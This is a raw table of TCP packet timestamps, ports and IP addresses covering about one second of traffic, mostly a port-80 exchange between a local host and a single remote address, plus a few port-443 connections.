Dec 7, 2024 08:43:52.184410095 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.184473038 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.184518099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.185439110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.185499907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.185549974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.185595036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.186505079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.186569929 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.186606884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.186662912 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.187577009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.187684059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.187741041 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.188646078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.188751936 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.188754082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.188807964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.189812899 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.189867020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.190033913 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.190093994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.190807104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.190850019 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.190901995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.190942049 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.191864014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.191940069 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.191991091 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.192986012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.193048000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.193088055 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.193135977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.194026947 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.194106102 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.194128990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.194222927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.195113897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.195202112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.195203066 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.195246935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.196177959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.196274996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.196332932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.197246075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.197310925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.199412107 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:52.199428082 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:52.199438095 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:52.199443102 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:52.205708027 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:52.205756903 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:52.205847025 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:52.205987930 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:52.206001043 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:52.322585106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.322683096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.322809935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.323117971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.323178053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.323209047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.323251963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.324100018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.324212074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.324258089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.325256109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.325311899 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.325331926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.325354099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.326248884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.326306105 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.326360941 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.326466084 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.327333927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.327580929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.327624083 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.328413963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.328453064 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.328537941 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.328599930 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.340540886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.340689898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.340766907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.341043949 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.341100931 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.341214895 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.341294050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.342125893 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.342180014 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.342236042 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.342292070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.343194008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.343245029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.343383074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.344270945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.344335079 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.344388962 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.344466925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.345371008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.345432997 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.345474005 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.345535040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.346455097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.346507072 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.346568108 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.346659899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.347503901 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.347630978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.347693920 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.348556042 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.348603964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.348665953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.348722935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.349642038 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.349720955 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.349788904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.349833012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.350713968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.350780964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.350853920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.350899935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.351779938 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.351830959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.351888895 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.352896929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.353012085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.353086948 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.353212118 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.354224920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.354238033 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.354290962 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.355037928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.355094910 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.355129004 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.355170965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.356122017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.356225967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.356280088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.357196093 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.357259035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.357332945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.357379913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.358289003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.358361006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.358369112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.358438969 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.359369993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.359613895 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.359674931 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.360428095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.360544920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.360554934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.360652924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.361455917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.361505032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.361614943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.361726046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.362551928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.362622023 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.362665892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.363339901 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.363631964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.363703966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.363804102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.363852978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.364685059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.364758015 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.364785910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.364836931 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.365775108 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.365854025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.365935087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.365979910 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.366832972 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.366892099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.366959095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.367012024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.367924929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.368046999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.368179083 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.369004011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.369072914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.369149923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.369199991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.370057106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.370105982 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.370184898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.370229006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.371160984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.371236086 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.371263027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.372208118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.372334003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.372340918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.372385025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.373337984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.373411894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.373420954 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.373480082 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.374372005 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.374423981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.374490976 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.374555111 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.375469923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.375582933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.375648022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.376532078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.376621962 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.376697063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.376744032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.377587080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.377639055 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.377682924 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.377728939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.378657103 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.378731012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.378766060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.378815889 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.379749060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.379880905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.379944086 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.380830050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.380883932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.380911112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.380970955 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.381864071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.381913900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.381953955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.381998062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.383018017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.383085966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.383122921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.383171082 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.384012938 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.384107113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.384156942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.385112047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.385162115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.385210037 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.385267973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.386183023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.386234045 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.386300087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.386369944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.387254953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.387326002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.387378931 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.387423992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.388324976 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.388405085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.388412952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.388454914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.389533043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.389596939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.514856100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.514935970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.514982939 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.515024900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.515322924 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.515373945 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.515467882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.515512943 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.516160011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.516206980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.516247988 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.516284943 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.518420935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.518474102 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.519010067 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.519058943 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.519998074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.520010948 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.520021915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.520059109 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.520092964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.520143032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.520180941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.520813942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.520827055 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.520867109 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.533004999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.533066034 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.533159018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.533200979 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.533487082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.533566952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.533637047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.533745050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.534528971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.534570932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.534710884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.534759045 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.535681963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.535723925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.535861015 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.536839962 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.536855936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.536884069 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.536907911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.537919044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.537935972 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.537981987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.538810968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.538855076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.538954973 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.539299965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.539936066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.539988995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.540122032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.540222883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.541062117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.541105986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.541227102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.541268110 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.542193890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.542206049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.542244911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.543194056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.543205023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.543246031 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.543272018 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.544146061 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.544190884 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.544435024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.544523954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.545382023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.545393944 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.545433998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.546325922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.546369076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.546498060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.546534061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.547444105 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.547599077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.547635078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.548535109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.548690081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.548701048 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.548724890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.549628973 CET	80	49795	185.215.113.16	192.168.2.5
